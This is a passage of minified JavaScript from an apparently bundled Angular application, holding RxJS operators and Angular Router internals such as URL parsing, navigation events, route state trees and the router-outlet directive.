ee.L{constructor(A,p){super(A),this.defaultValue=p,this.isEmpty=!0}_next(A){this.isEmpty=!1,this.destination.next(A)}_complete(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()}}function je(M=Oe){return A=>A.lift(new Ze(M))}class Ze{constructor(A){this.errorFactory=A}call(A,p){return p.subscribe(new le(A,this.errorFactory))}}class le extends ee.L{constructor(A,p){super(A),this.errorFactory=p,this.hasValue=!1}_next(A){this.hasValue=!0,this.destination.next(A)}_complete(){if(this.hasValue)return this.destination.complete();{let A;try{A=this.errorFactory()}catch(p){A=p}this.destination.error(A)}}}function Oe(){return new f}var Qe=d(5379);function Ye(M,A){const p=arguments.length>=2;return V=>V.pipe(M?(0,K.h)((ne,He)=>M(ne,He,V)):Qe.y,(0,Ce.q)(1),p?q(A):je(()=>new f))}var qe=d(1406),Ke=d(2868),dt=d(7221);function bt(M,A){let p=!1;return arguments.length>=2&&(p=!0),function(ne){return ne.lift(new ze(M,A,p))}}class ze{constructor(A,p,V=!1){this.accumulator=A,this.seed=p,this.hasSeed=V}call(A,p){return p.subscribe(new De(A,this.accumulator,this.seed,this.hasSeed))}}class De extends ee.L{constructor(A,p,V,ne){super(A),this.accumulator=p,this._seed=V,this.hasSeed=ne,this.index=0}get seed(){return this._seed}set seed(A){this.hasSeed=!0,this._seed=A}_next(A){if(this.hasSeed)return this._tryNext(A);this.seed=A,this.destination.next(A)}_tryNext(A){const p=this.index++;let V;try{V=this.accumulator(this.seed,A,p)}catch(ne){this.destination.error(ne)}this.seed=V,this.destination.next(V)}}var re=d(4231);function ve(M){return function(p){return 0===M?(0,H.c)():p.lift(new We(M))}}class We{constructor(A){if(this.total=A,this.total<0)throw new re.W}call(A,p){return p.subscribe(new xt(A,this.total))}}class xt extends ee.L{constructor(A,p){super(A),this.total=p,this.ring=new Array,this.count=0}_next(A){const p=this.ring,V=this.total,ne=this.count++;p.length<V?p.push(A):p[ne%V]=A}_complete(){const A=this.destination;let p=this.count;if(p>0){const V=this.count>=this.total?this.total:this.count,ne=this.ring;for(let He=0;He<V;He++){const tt=p++%V;A.next(ne[tt])}}A.complete()}}function Be(M,A){const p=arguments.length>=2;return V=>V.pipe(M?(0,K.h)((ne,He)=>M(ne,He,V)):Qe.y,ve(1),p?q(A):je(()=>new f))}var pe=d(4290),P=d(7604),w=d(537),R=d(4327),X=d(9146),_e=d(1481);const ct="primary",Je=Symbol("RouteTitle");class Et{constructor(A){this.params=A||{}}has(A){return Object.prototype.hasOwnProperty.call(this.params,A)}get(A){if(this.has(A)){const p=this.params[A];return Array.isArray(p)?p[0]:p}return null}getAll(A){if(this.has(A)){const p=this.params[A];return Array.isArray(p)?p:[p]}return[]}get keys(){return Object.keys(this.params)}}function Dt(M){return new Et(M)}function Pt(M,A,p){const V=p.path.split("/");if(V.length>M.length||"full"===p.pathMatch&&(A.hasChildren()||V.length<M.length))return null;const ne={};for(let He=0;He<V.length;He++){const tt=V[He],Lt=M[He];if(tt.startsWith(":"))ne[tt.substring(1)]=Lt;else if(tt!==Lt.path)return null}return{consumed:M.slice(0,V.length),posParams:ne}}function te(M,A){const p=M?Object.keys(M):void 0,V=A?Object.keys(A):void 0;if(!p||!V||p.length!=V.length)return!1;let ne;for(let He=0;He<p.length;He++)if(ne=p[He],!x(M[ne],A[ne]))return!1;return!0}function x(M,A){if(Array.isArray(M)&&Array.isArray(A)){if(M.length!==A.length)return!1;const p=[...M].sort(),V=[...A].sort();return p.every((ne,He)=>V[He]===ne)}return M===A}function m(M){return Array.prototype.concat.apply([],M)}function b(M){return M.length>0?M[M.length-1]:null}function ie(M,A){for(const p in M)M.hasOwnProperty(p)&&A(M[p],p)}function Xe(M){return(0,n.CqO)(M)?M:(0,n.QGY)(M)?(0,a.D)(Promise.resolve(M)):(0,s.of)(M)}const it=!1,wt={exact:function u1(M,A,p){if(!Ue(M.segments,A.segments)||!kt(M.segments,A.segments,p)||M.numberOfChildren!==A.numberOfChildren)return!1;for(const V in A.children)if(!M.children[V]||!u1(M.children[V],A.children[V],p))return!1;return!0},subset:It},Vt={exact:function qt(M,A){return te(M,A)},subset:function c1(M,A){return Object.keys(A).length<=Object.keys(M).length&&Object.keys(A).every(p=>x(M[p],A[p]))},ignored:()=>!0};function Gt(M,A,p){return wt[p.paths](M.root,A.root,p.matrixParams)&&Vt[p.queryParams](M.queryParams,A.queryParams)&&!("exact"===p.fragment&&M.fragment!==A.fragment)}function It(M,A,p){return _t(M,A,A.segments,p)}function _t(M,A,p,V){if(M.segments.length>p.length){const ne=M.segments.slice(0,p.length);return!(!Ue(ne,p)||A.hasChildren()||!kt(ne,p,V))}if(M.segments.length===p.length){if(!Ue(M.segments,p)||!kt(M.segments,p,V))return!1;for(const ne in A.children)if(!M.children[ne]||!It(M.children[ne],A.children[ne],V))return!1;return!0}{const ne=p.slice(0,M.segments.length),He=p.slice(M.segments.length);return!!(Ue(M.segments,ne)&&kt(M.segments,ne,V)&&M.children[ct])&&_t(M.children[ct],A,He,V)}}function kt(M,A,p){return A.every((V,ne)=>Vt[p](M[ne].parameters,V.parameters))}class Fe{constructor(A=new be([],{}),p={},V=null){this.root=A,this.queryParams=p,this.fragment=V}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=Dt(this.queryParams)),this._queryParamMap}toString(){return mt.serialize(this)}}class be{constructor(A,p){this.segments=A,this.children=p,this.parent=null,ie(p,(V,ne)=>V.parent=this)}hasChildren(){return this.numberOfChildren>0}get numberOfChildren(){return Object.keys(this.children).length}toString(){return Ct(this)}}class Pe{constructor(A,p){this.path=A,this.parameters=p}get parameterMap(){return this._parameterMap||(this._parameterMap=Dt(this.parameters)),this._parameterMap}toString(){return ot(this)}}function Ue(M,A){return M.length===A.length&&M.every((p,V)=>p.path===A[V].path)}let J=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return new Ae},providedIn:"root"}),M})();class Ae{parse(A){const p=new nn(A);return new Fe(p.parseRootSegment(),p.parseQueryParams(),p.parseFragment())}serialize(A){const p=`/${jt(A.root,!0)}`,V=function ut(M){const A=Object.keys(M).map(p=>{const V=M[p];return Array.isArray(V)?V.map(ne=>`${nt(p)}=${nt(ne)}`).join("&"):`${nt(p)}=${nt(V)}`}).filter(p=>!!p);return A.length?`?${A.join("&")}`:""}(A.queryParams);return`${p}${V}${"string"==typeof A.fragment?`#${function fe(M){return encodeURI(M)}(A.fragment)}`:""}`}}const mt=new Ae;function Ct(M){return M.segments.map(A=>ot(A)).join("/")}function jt(M,A){if(!M.hasChildren())return Ct(M);if(A){const p=M.children[ct]?jt(M.children[ct],!1):"",V=[];return ie(M.children,(ne,He)=>{He!==ct&&V.push(`${He}:${jt(ne,!1)}`)}),V.length>0?`${p}(${V.join("//")})`:p}{const p=function xe(M,A){let p=[];return ie(M.children,(V,ne)=>{ne===ct&&(p=p.concat(A(V,ne)))}),ie(M.children,(V,ne)=>{ne!==ct&&(p=p.concat(A(V,ne)))}),p}(M,(V,ne)=>ne===ct?[jt(M.children[ct],!1)]:[`${ne}:${jt(V,!1)}`]);return 1===Object.keys(M.children).length&&null!=M.children[ct]?`${Ct(M)}/${p[0]}`:`${Ct(M)}/(${p.join("//")})`}}function pt(M){return encodeURIComponent(M).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function nt(M){return pt(M).replace(/%3B/gi,";")}function Ee(M){return pt(M).replace(/\\(/g,"%28").replace(/\\)/g,"%29").replace(/%26/gi,"&")}function at(M){return decodeURIComponent(M)}function Se(M){return at(M.replace(/\\+/g,"%20"))}function ot(M){return`${Ee(M.path)}${function Ne(M){return Object.keys(M).map(A=>`;${Ee(A)}=${Ee(M[A])}`).join("")}(M.parameters)}`}const Rt=/^[^\\/()?;=#]+/;function Zt(M){const A=M.match(Rt);return A?A[0]:""}const a1=/^[^=?&#]+/,G1=/^[^&#]+/;class nn{constructor(A){this.url=A,this.remaining=A}parseRootSegment(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new be([],{}):new be([],this.parseChildren())}parseQueryParams(){const A={};if(this.consumeOptional("?"))do{this.parseQueryParam(A)}while(this.consumeOptional("&"));return A}parseFragment(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}parseChildren(){if(""===this.remaining)return{};this.consumeOptional("/");const A=[];for(this.peekStartsWith("(")||A.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),A.push(this.parseSegment());let p={};this.peekStartsWith("/(")&&(this.capture("/"),p=this.parseParens(!0));let V={};return this.peekStartsWith("(")&&(V=this.parseParens(!1)),(A.length>0||Object.keys(p).length>0)&&(V[ct]=new be(A,p)),V}parseSegment(){const A=Zt(this.remaining);if(""===A&&this.peekStartsWith(";"))throw new n.vHH(4009,it);return this.capture(A),new Pe(at(A),this.parseMatrixParams())}parseMatrixParams(){const A={};for(;this.consumeOptional(";");)this.parseParam(A);return A}parseParam(A){const p=Zt(this.remaining);if(!p)return;this.capture(p);let V="";if(this.consumeOptional("=")){const ne=Zt(this.remaining);ne&&(V=ne,this.capture(V))}A[at(p)]=at(V)}parseQueryParam(A){const p=function _1(M){const A=M.match(a1);return A?A[0]:""}(this.remaining);if(!p)return;this.capture(p);let V="";if(this.consumeOptional("=")){const tt=function gn(M){const A=M.match(G1);return A?A[0]:""}(this.remaining);tt&&(V=tt,this.capture(V))}const ne=Se(p),He=Se(V);if(A.hasOwnProperty(ne)){let tt=A[ne];Array.isArray(tt)||(tt=[tt],A[ne]=tt),tt.push(He)}else A[ne]=He}parseParens(A){const p={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){const V=Zt(this.remaining),ne=this.remaining[V.length];if("/"!==ne&&")"!==ne&&";"!==ne)throw new n.vHH(4010,it);let He;V.indexOf(":")>-1?(He=V.slice(0,V.indexOf(":")),this.capture(He),this.capture(":")):A&&(He=ct);const tt=this.parseChildren();p[He]=1===Object.keys(tt).length?tt[ct]:new be([],tt),this.consumeOptional("//")}return p}peekStartsWith(A){return this.remaining.startsWith(A)}consumeOptional(A){return!!this.peekStartsWith(A)&&(this.remaining=this.remaining.substring(A.length),!0)}capture(A){if(!this.consumeOptional(A))throw new n.vHH(4011,it)}}function P1(M){return M.segments.length>0?new be([],{[ct]:M}):M}function on(M){const A={};for(const V of Object.keys(M.children)){const He=on(M.children[V]);(He.segments.length>0||He.hasChildren())&&(A[V]=He)}return function Ge(M){if(1===M.numberOfChildren&&M.children[ct]){const A=M.children[ct];return new be(M.segments.concat(A.segments),A.children)}return M}(new be(M.segments,A))}function vt(M){return M instanceof Fe}const Me=!1;function $(M,A,p,V,ne){if(0===p.length)return Wt(A.root,A.root,A.root,V,ne);const He=function Qt(M){if("string"==typeof M[0]&&1===M.length&&"/"===M[0])return new w1(!0,0,M);let A=0,p=!1;const V=M.reduce((ne,He,tt)=>{if("object"==typeof He&&null!=He){if(He.outlets){const Lt={};return ie(He.outlets,($t,d1)=>{Lt[d1]="string"==typeof $t?$t.split("/"):$t}),[...ne,{outlets:Lt}]}if(He.segmentPath)return[...ne,He.segmentPath]}return"string"!=typeof He?[...ne,He]:0===tt?(He.split("/").forEach((Lt,$t)=>{0==$t&&"."===Lt||(0==$t&&""===Lt?p=!0:".."===Lt?A++:""!=Lt&&ne.push(Lt))}),ne):[...ne,He]},[]);return new w1(p,A,V)}(p);return He.toRoot()?Wt(A.root,A.root,new be([],{}),V,ne):function tt($t){const d1=function Y1(M,A,p,V){if(M.isAbsolute)return new h1(A.root,!0,0);if(-1===V)return new h1(p,p===A.root,0);return function T1(M,A,p){let V=M,ne=A,He=p;for(;He>ne;){if(He-=ne,V=V.parent,!V)throw new n.vHH(4005,Me&&"Invalid number of \'../\'");ne=V.segments.length}return new h1(V,!1,ne-He)}(p,V+(ke(M.commands[0])?0:1),M.numberOfDoubleDots)}(He,A,M.snapshot?._urlSegment,$t),f1=d1.processChildren?E1(d1.segmentGroup,d1.index,He.commands):vn(d1.segmentGroup,d1.index,He.commands);return Wt(A.root,d1.segmentGroup,f1,V,ne)}(M.snapshot?._lastPathIndex)}function ke(M){return"object"==typeof M&&null!=M&&!M.outlets&&!M.segmentPath}function lt(M){return"object"==typeof M&&null!=M&&M.outlets}function Wt(M,A,p,V,ne){let tt,He={};V&&ie(V,($t,d1)=>{He[d1]=Array.isArray($t)?$t.map(f1=>`${f1}`):`${$t}`}),tt=M===A?p:p1(M,A,p);const Lt=P1(on(tt));return new Fe(Lt,He,ne)}function p1(M,A,p){const V={};return ie(M.children,(ne,He)=>{V[He]=ne===A?p:p1(ne,A,p)}),new be(M.segments,V)}class w1{constructor(A,p,V){if(this.isAbsolute=A,this.numberOfDoubleDots=p,this.commands=V,A&&V.length>0&&ke(V[0]))throw new n.vHH(4003,Me&&"Root segment cannot have matrix parameters");const ne=V.find(lt);if(ne&&ne!==b(V))throw new n.vHH(4004,Me&&"{outlets:{}} has to be the last command")}toRoot(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}class h1{constructor(A,p,V){this.segmentGroup=A,this.processChildren=p,this.index=V}}function vn(M,A,p){if(M||(M=new be([],{})),0===M.segments.length&&M.hasChildren())return E1(M,A,p);const V=function In(M,A,p){let V=0,ne=A;const He={match:!1,pathIndex:0,commandIndex:0};for(;ne<M.segments.length;){if(V>=p.length)return He;const tt=M.segments[ne],Lt=p[V];if(lt(Lt))break;const $t=`${Lt}`,d1=V<p.length-1?p[V+1]:null;if(ne>0&&void 0===$t)break;if($t&&d1&&"object"==typeof d1&&void 0===d1.outlets){if(!fn($t,d1,tt))return He;V+=2}else{if(!fn($t,{},tt))return He;V++}ne++}return{match:!0,pathIndex:ne,commandIndex:V}}(M,A,p),ne=p.slice(V.commandIndex);if(V.match&&V.pathIndex<M.segments.length){const He=new be(M.segments.slice(0,V.pathIndex),{});return He.children[ct]=new be(M.segments.slice(V.pathIndex),M.children),E1(He,0,ne)}return V.match&&0===ne.length?new be(M.segments,{}):V.match&&!M.hasChildren()?Gn(M,A,p):V.match?E1(M,0,ne):Gn(M,A,p)}function E1(M,A,p){if(0===p.length)return new be(M.segments,{});{const V=function V1(M){return lt(M[0])?M[0].outlets:{[ct]:M}}(p),ne={};if(!V[ct]&&M.children[ct]&&1===M.numberOfChildren&&0===M.children[ct].segments.length){const He=E1(M.children[ct],A,p);return new be(M.segments,He.children)}return ie(V,(He,tt)=>{"string"==typeof He&&(He=[He]),null!==He&&(ne[tt]=vn(M.children[tt],A,He))}),ie(M.children,(He,tt)=>{void 0===V[tt]&&(ne[tt]=He)}),new be(M.segments,ne)}}function Gn(M,A,p){const V=M.segments.slice(0,A);let ne=0;for(;ne<p.length;){const He=p[ne];if(lt(He)){const $t=D1(He.outlets);return new be(V,$t)}if(0===ne&&ke(p[0])){V.push(new Pe(M.segments[A].path,ci(p[0]))),ne++;continue}const tt=lt(He)?He.outlets[ct]:`${He}`,Lt=ne<p.length-1?p[ne+1]:null;tt&&Lt&&ke(Lt)?(V.push(new Pe(tt,ci(Lt))),ne+=2):(V.push(new Pe(tt,{})),ne++)}return new be(V,{})}function D1(M){const A={};return ie(M,(p,V)=>{"string"==typeof p&&(p=[p]),null!==p&&(A[V]=Gn(new be([],{}),0,p))}),A}function ci(M){const A={};return ie(M,(p,V)=>A[V]=`${p}`),A}function fn(M,A,p){return M==p.path&&te(A,p.parameters)}const Rn="imperative";class cn{constructor(A,p){this.id=A,this.url=p}}class X1 extends cn{constructor(A,p,V="imperative",ne=null){super(A,p),this.type=0,this.navigationTrigger=V,this.restoredState=ne}toString(){return`NavigationStart(id: ${this.id}, url: \'${this.url}\')`}}class Pn extends cn{constructor(A,p,V){super(A,p),this.urlAfterRedirects=V,this.type=1}toString(){return`NavigationEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\')`}}class Fn extends cn{constructor(A,p,V,ne){super(A,p),this.reason=V,this.code=ne,this.type=2}toString(){return`NavigationCancel(id: ${this.id}, url: \'${this.url}\')`}}class An extends cn{constructor(A,p,V,ne){super(A,p),this.reason=V,this.code=ne,this.type=16}}class $n extends cn{constructor(A,p,V,ne){super(A,p),this.error=V,this.target=ne,this.type=3}toString(){return`NavigationError(id: ${this.id}, url: \'${this.url}\', error: ${this.error})`}}class li extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=4}toString(){return`RoutesRecognized(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class L1 extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=7}toString(){return`GuardsCheckStart(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class Cn extends cn{constructor(A,p,V,ne,He){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.shouldActivate=He,this.type=8}toString(){return`GuardsCheckEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state}, shouldActivate: ${this.shouldActivate})`}}class Mn extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=5}toString(){return`ResolveStart(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class di extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=6}toString(){return`ResolveEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class ri{constructor(A){this.route=A,this.type=9}toString(){return`RouteConfigLoadStart(path: ${this.route.path})`}}class _i{constructor(A){this.route=A,this.type=10}toString(){return`RouteConfigLoadEnd(path: ${this.route.path})`}}class Nn{constructor(A){this.snapshot=A,this.type=11}toString(){return`ChildActivationStart(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class ln{constructor(A){this.snapshot=A,this.type=12}toString(){return`ChildActivationEnd(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class u2{constructor(A){this.snapshot=A,this.type=13}toString(){return`ActivationStart(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class dn{constructor(A){this.snapshot=A,this.type=14}toString(){return`ActivationEnd(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class Sn{constructor(A,p,V){this.routerEvent=A,this.position=p,this.anchor=V,this.type=15}toString(){return`Scroll(anchor: \'${this.anchor}\', position: \'${this.position?`${this.position[0]}, ${this.position[1]}`:null}\')`}}let ui=(()=>{class M{createUrlTree(p,V,ne,He,tt,Lt){return $(p||V.root,ne,He,tt,Lt)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac}),M})(),Fi=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(A){return ui.\\u0275fac(A)},providedIn:"root"}),M})();class Qi{constructor(A){this._root=A}get root(){return this._root.value}parent(A){const p=this.pathFromRoot(A);return p.length>1?p[p.length-2]:null}children(A){const p=zi(A,this._root);return p?p.children.map(V=>V.value):[]}firstChild(A){const p=zi(A,this._root);return p&&p.children.length>0?p.children[0].value:null}siblings(A){const p=hi(A,this._root);return p.length<2?[]:p[p.length-2].children.map(ne=>ne.value).filter(ne=>ne!==A)}pathFromRoot(A){return hi(A,this._root).map(p=>p.value)}}function zi(M,A){if(M===A.value)return A;for(const p of A.children){const V=zi(M,p);if(V)return V}return null}function hi(M,A){if(M===A.value)return[A];for(const p of A.children){const V=hi(M,p);if(V.length)return V.unshift(A),V}return[]}class Kn{constructor(A,p){this.value=A,this.children=p}toString(){return`TreeNode(${this.value})`}}function Ti(M){const A={};return M&&M.children.forEach(p=>A[p.value.outlet]=p),A}class qi extends Qi{constructor(A,p){super(A),this.snapshot=p,p2(this,A)}toString(){return this.snapshot.toString()}}function h2(M,A){const p=function Ni(M,A){const tt=new f2([],{},{},"",{},ct,A,null,M.root,-1,{});return new Vi("",new Kn(tt,[]))}(M,A),V=new u.X([new Pe("",{})]),ne=new u.X({}),He=new u.X({}),tt=new u.X({}),Lt=new u.X(""),$t=new ei(V,ne,tt,Lt,He,ct,A,p.root);return $t.snapshot=p.root,new qi(new Kn($t,[]),p)}class ei{constructor(A,p,V,ne,He,tt,Lt,$t){this.url=A,this.params=p,this.queryParams=V,this.fragment=ne,this.data=He,this.outlet=tt,this.component=Lt,this.title=this.data?.pipe((0,Q.U)(d1=>d1[Je]))??(0,s.of)(void 0),this._futureSnapshot=$t}get routeConfig(){return this._futureSnapshot.routeConfig}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=this.params.pipe((0,Q.U)(A=>Dt(A)))),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe((0,Q.U)(A=>Dt(A)))),this._queryParamMap}toString(){return this.snapshot?this.snapshot.toString():`Future(${this._futureSnapshot})`}}function Zn(M,A="emptyOnly"){const p=M.pathFromRoot;let V=0;if("always"!==A)for(V=p.length-1;V>=1;){const ne=p[V],He=p[V-1];if(ne.routeConfig&&""===ne.routeConfig.path)V--;else{if(He.component)break;V--}}return function Hi(M){return M.reduce((A,p)=>({params:{...A.params,...p.params},data:{...A.data,...p.data},resolve:{...p.data,...A.resolve,...p.routeConfig?.data,...p._resolvedData}}),{params:{},data:{},resolve:{}})}(p.slice(V))}class f2{get title(){return this.data?.[Je]}constructor(A,p,V,ne,He,tt,Lt,$t,d1,f1,q1){this.url=A,this.params=p,this.queryParams=V,this.fragment=ne,this.data=He,this.outlet=tt,this.component=Lt,this.routeConfig=$t,this._urlSegment=d1,this._lastPathIndex=f1,this._resolve=q1}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=Dt(this.params)),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=Dt(this.queryParams)),this._queryParamMap}toString(){return`Route(url:\'${this.url.map(V=>V.toString()).join("/")}\', path:\'${this.routeConfig?this.routeConfig.path:""}\')`}}class Vi extends Qi{constructor(A,p){super(p),this.url=A,p2(this,p)}toString(){return x2(this._root)}}function p2(M,A){A.value._routerState=M,A.children.forEach(p=>p2(M,p))}function x2(M){const A=M.children.length>0?` { ${M.children.map(x2).join(", ")} } `:"";return`${M.value}${A}`}function yi(M){if(M.snapshot){const A=M.snapshot,p=M._futureSnapshot;M.snapshot=p,te(A.queryParams,p.queryParams)||M.queryParams.next(p.queryParams),A.fragment!==p.fragment&&M.fragment.next(p.fragment),te(A.params,p.params)||M.params.next(p.params),function Ie(M,A){if(M.length!==A.length)return!1;for(let p=0;p<M.length;++p)if(!te(M[p],A[p]))return!1;return!0}(A.url,p.url)||M.url.next(p.url),te(A.data,p.data)||M.data.next(p.data)}else M.snapshot=M._futureSnapshot,M.data.next(M._futureSnapshot.data)}function Bi(M,A){const p=te(M.params,A.params)&&function Re(M,A){return Ue(M,A)&&M.every((p,V)=>te(p.parameters,A[V].parameters))}(M.url,A.url);return p&&!(!M.parent!=!A.parent)&&(!M.parent||Bi(M.parent,A.parent))}function bi(M,A,p){if(p&&M.shouldReuseRoute(A.value,p.value.snapshot)){const V=p.value;V._futureSnapshot=A.value;const ne=function mn(M,A,p){return A.children.map(V=>{for(const ne of p.children)if(M.shouldReuseRoute(V.value,ne.value.snapshot))return bi(M,V,ne);return bi(M,V)})}(M,A,p);return new Kn(V,ne)}{if(M.shouldAttach(A.value)){const He=M.retrieve(A.value);if(null!==He){const tt=He.route;return tt.value._futureSnapshot=A.value,tt.children=A.children.map(Lt=>bi(M,Lt)),tt}}const V=function ai(M){return new ei(new u.X(M.url),new u.X(M.params),new u.X(M.queryParams),new u.X(M.fragment),new u.X(M.data),M.outlet,M.component,M)}(A.value),ne=A.children.map(He=>bi(M,He));return new Kn(V,ne)}}const jn="ngNavigationCancelingError";function fi(M,A){const{redirectTo:p,navigationBehaviorOptions:V}=vt(A)?{redirectTo:A,navigationBehaviorOptions:void 0}:A,ne=Ui(!1,0,A);return ne.url=p,ne.navigationBehaviorOptions=V,ne}function Ui(M,A,p){const V=new Error("NavigationCancelingError: "+(M||""));return V[jn]=!0,V.cancellationCode=A,p&&(V.url=p),V}function o2(M){return Li(M)&&vt(M.url)}function Li(M){return M&&M[jn]}class ki{constructor(){this.outlet=null,this.route=null,this.resolver=null,this.injector=null,this.children=new Ci,this.attachRef=null}}let Ci=(()=>{class M{constructor(){this.contexts=new Map}onChildOutletCreated(p,V){const ne=this.getOrCreateContext(p);ne.outlet=V,this.contexts.set(p,ne)}onChildOutletDestroyed(p){const V=this.getContext(p);V&&(V.outlet=null,V.attachRef=null)}onOutletDeactivated(){const p=this.contexts;return this.contexts=new Map,p}onOutletReAttached(p){this.contexts=p}getOrCreateContext(p){let V=this.getContext(p);return V||(V=new ki,this.contexts.set(p,V)),V}getContext(p){return this.contexts.get(p)||null}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const ti=!1;let Oi=(()=>{class M{constructor(){this.activated=null,this._activatedRoute=null,this.name=ct,this.activateEvents=new n.vpe,this.deactivateEvents=new n.vpe,this.attachEvents=new n.vpe,this.detachEvents=new n.vpe,this.parentContexts=(0,n.f3M)(Ci),this.location=(0,n.f3M)(n.s_b),this.changeDetector=(0,n.f3M)(n.sBO),this.environmentInjector=(0,n.f3M)(n.lqb)}ngOnChanges(p){if(p.name){const{firstChange:V,previousValue:ne}=p.name;if(V)return;this.isTrackedInParentContexts(ne)&&(this.deactivate(),this.parentContexts.onChildOutletDestroyed(ne)),this.initializeOutletWithName()}}ngOnDestroy(){this.isTrackedInParentContexts(this.name)&&this.parentContexts.onChildOutletDestroyed(this.name)}isTrackedInParentContexts(p){return this.parentContexts.getContext(p)?.outlet===this}ngOnInit(){this.initializeOutletWithName()}initializeOutletWithName(){if(this.parentContexts.onChildOutletCreated(this.name,this),this.activated)return;const p=this.parentContexts.getContext(this.name);p?.route&&(p.attachRef?this.attach(p.attachRef,p.route):this.activateWith(p.route,p.injector))}get isActivated(){return!!this.activated}get component(){if(!this.activated)throw new n.vHH(4012,ti);return this.activated.instance}get activatedRoute(){if(!this.activated)throw new n.vHH(4012,ti);return this._activatedRoute}get activatedRouteData(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}detach(){if(!this.activated)throw new n.vHH(4012,ti);this.location.detach();const p=this.activated;return this.activated=null,this._activatedRoute=null,this.detachEvents.emit(p.instance),p}attach(p,V){this.activated=p,this._activatedRoute=V,this.location.insert(p.hostView),this.attachEvents.emit(p.instance)}deactivate(){if(this.activated){const p=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(p)}}activateWith(p,V){if(this.isActivated)throw new n.vHH(4013,ti);this._activatedRoute=p;const ne=this.location,tt=p.snapshot.component,Lt=this.parentContexts.getOrCreateContext(this.name).children,$t=new Xi(p,Lt,ne.injector);if(V&&function bn(M){return!!M.resolveComponentFactory}(V)){const d1=V.resolveComponentFactory(tt);this.activated=ne.createComponent(d1,ne.length,$t)}else this.activated=ne.createComponent(tt,{index:ne.length,injector:$t,environmentInjector:V??this.environmentInjector});this.changeDetector.markForCheck(),this.activateEvents.emit(this.activated.instance)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275dir=n.lG2({type:M,selectors:[["router-outlet"]],inputs:{name:"name"},outputs:{activateEvents:"activate",deactivateEvents:"deactivate",attachEvents:"attach",detachEvents:"detach"},exportAs:["outlet"],standalone:!0,features:[n.TTD]}),M})();class Xi{constructor(A,p,V){this.route=A,this.childContexts=p,this.parent=V}get(A,p){return A===ei?this.route:A===Ci?this.childContexts:this.parent.get(A,p)}}let Gi=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275cmp=n.Xpm({type:M,selectors:[["ng-component"]],standalone:!0,features:[n.jDz],decls:1,vars:0,template:function(p,V){1&p&&n._UZ(0,"router-outlet")},dependencies:[Oi],encapsulation:2}),M})();function un(M,A){return M.providers&&!M._injector&&(M._injector=(0,n.MMx)(M.providers,A,`Route: ${M.path}`)),M._injector??A}function v2(M){const A=M.children&&M.children.map(v2),p=A?{...M,children:A}:{...M};return!p.component&&!p.loadComponent&&(A||p.loadChildren)&&p.outlet&&p.outlet!==ct&&(p.component=Gi),p}function xn(M){return M.outlet||ct}function D2(M,A){const p=M.filter(V=>xn(V)===A);return p.push(...M.filter(V=>xn(V)!==A)),p}function Qn(M){if(!M)return null;if(M.routeConfig?._injector)return M.routeConfig._injector;for(let A=M.parent;A;A=A.parent){const p=A.routeConfig;if(p?._loadedInjector)return p._loadedInjector;if(p?._injector)return p._injector}return null}class c2{constructor(A,p,V,ne){this.routeReuseStrategy=A,this.futureState=p,this.currState=V,this.forwardEvent=ne}activate(A){const p=this.futureState._root,V=this.currState?this.currState._root:null;this.deactivateChildRoutes(p,V,A),yi(this.futureState.root),this.activateChildRoutes(p,V,A)}deactivateChildRoutes(A,p,V){const ne=Ti(p);A.children.forEach(He=>{const 